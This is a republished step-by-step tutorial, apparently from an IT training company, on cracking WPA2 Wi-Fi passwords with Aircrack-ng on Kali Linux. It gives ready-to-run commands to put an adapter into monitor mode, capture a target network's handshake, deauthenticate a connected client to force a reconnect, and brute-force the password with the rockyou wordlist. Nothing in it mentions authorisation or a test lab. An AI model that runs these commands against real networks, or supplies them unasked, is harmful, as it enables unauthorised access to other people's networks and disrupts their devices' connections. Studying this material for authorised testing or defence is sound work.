Cracking Wi‑Fi Passwords with Aircrack‑ng on Kali Linux
This step‑by‑step guide shows how to enable monitor mode, capture WPA2 handshakes, and perform a dictionary attack using Aircrack‑ng on a Kali Linux system, covering device detection, network scanning, packet capture, and password cracking commands.
1. Check network interfaces
Run iwconfig to list wireless devices. Look for wlan0 or, on some machines, a single‑read adapter like wlan1 .
iwconfig2. Start monitor mode
Enable monitoring on the interface with: airmon-ng start wlan0 After the command, run iwconfig again; you should see wlan0mon , indicating the interface is now in monitor mode.
3. Scan nearby networks
Use airodump-ng wlan0mon to list access points and associated clients. If the channel is wrong or no networks appear, the hardware may be faulty, and you might need to switch to a USB wireless adapter (e.g., wlan1 ). airodump-ng wlan0mon The scan displays two tables that refresh continuously:
BSSID : AP hardware address
PWR : Signal strength (negative value, closer to zero is stronger)
CH : Channel
ENC : Encryption type (targeting WPA2)
ESSID : Network name
STATION : Client hardware address
4. Capture handshake packets
Start a capture on a specific AP using its BSSID and channel, saving the output to a file:
airodump-ng --bssid DC:FE:18:AE:12:3A -c 1 -w /home/wifi wlan1The captured file (e.g., wifi-01.cap) will contain the WPA handshake once a client connects.
5. Trigger a handshake
Open another terminal and launch a deauthentication attack to force a client to reconnect, capturing the handshake:
aireplay-ng -0 0 -c F8:A2:D6:B9:13:C5 -a DC:FE:18:AE:12:3A wlan1When airodump-ng shows WPA handshake: DC:FE:18:AE:12:3A, press Ctrl+C to stop the capture.
6. Perform a dictionary attack
Use Aircrack‑ng with a wordlist (Kali’s default /usr/share/wordlists/rockyou.txt) to try cracking the captured handshake:
aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/wifi-01.capThe process may take a long time; it will either reveal the password or fail, in which case a different wordlist is needed.
7. Change channel (optional)
iwconfig wlan1 channel 7This guide assumes Aircrack‑ng is already installed on the Kali system.
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
MaGe Linux Operations
Founded in 2009, MaGe Education is a top Chinese high‑end IT training brand. Its graduates earn 12K+ RMB salaries, and the school has trained tens of thousands of students. It offers high‑pay courses in Linux cloud operations, Python full‑stack, automation, data analysis, AI, and Go high‑concurrency architecture. Thanks to quality courses and a solid reputation, it has talent partnerships with numerous internet firms.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
